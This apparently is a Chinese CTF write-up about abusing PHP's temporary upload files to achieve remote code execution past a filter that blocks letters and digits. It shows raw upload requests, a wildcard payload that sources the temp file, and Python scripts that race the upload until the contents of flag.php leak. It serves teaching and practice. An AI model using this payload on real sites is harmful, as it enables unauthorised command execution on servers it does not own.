细品临时文件上传
前言
比起叫他临时文件上传,我更喜欢称之为强制文件上传,因为不用有文件上传的地方就能上传文件,怎么不算强制呢
php的上传文件的机制可以简单理解为这样一个过程:
1.用户上传文件
2.把文件作为一个临时文件保存在超全局变量$_FILES中,默认放在tmp目录下
3.如果不做处理,在文件上传过程结束之后,就会被清除,如果处理,可以使用move_upload_file函数
临时文件的命名规则
默认为 php+4或者6位随机数字和大小写字母
在windows下,会有一个.tmp后缀,linux则没有
ctf题目
这题禁用了数字和字母,下面讲解如何利用临时文件实现rce
思路很简单,既然我们能上传一个文件,那我们如果能执行这个文件,就可以执行命令了
首先是文件内容(file.txt):
#!/bash/sh
ls
然后写一个上传的表单用来上传文件
<form action="https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
拦截一下这个数据包
POST / HTTP/1.1
Host: 97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Length: 251
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="§134§"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHJGvThZjeQHiaUpc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
------WebKitFormBoundaryHJGvThZjeQHiaUpc
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/plain
#!/bin/sh
cat flag.php
------WebKitFormBoundaryHJGvThZjeQHiaUpc--
发到发到爆破模块一直发
然后我们执行这个文件
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Length: 0
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="§134§"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close
这里执行文件的命令为
.%20/???/????????[@-[]
我们来分析一下这个命令
首先使用点来执行文件,.在执行文件时,是不需要x权限的
前三个问号匹配的时php
后面的问号是php+六位字符
最后的[@-[]匹配的是一位大写字母
同时重复发送这两个数据包,当临时文件未被删除的同时,执行到了该文件,就能成功rce
当然,也可以仅用一个数据包实现
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: e51e3381-cae6-4dae-b44b-3a3ef9fa1c0d.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Content-Length: 239
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat flag.php
-----------------------------10242300956292313528205888--
一把梭
叽里咕噜的说啥呢,看我py脚本一把梭
import requests
#url需要带上执行上传的文件的命令
url="http://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/?c=.%20/???/????????[@-[]"
while True:
file = {'rcefile': open('rce.txt', 'r')}
res = requests.post(url=url,files=file)
if "flag" in res.text:
print(res.text)
break
else:
print("not found")
rce.txt
#/bin/sh
cat flag.php
亦或者你不想要两个文件
import requests
#url需要带上执行上传的文件的命令
url="http://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/?c=.%20/???/????????[@-[]"
while True:
file = {'rcefile': open('rce.txt', 'r')}
res = requests.post(url=url,files={"file": ('rce.txt', b'cat flag.php')})
if "flag" in res.text:
print(res.text)
break
else:
print("not found")

浙公网安备 33010602011771号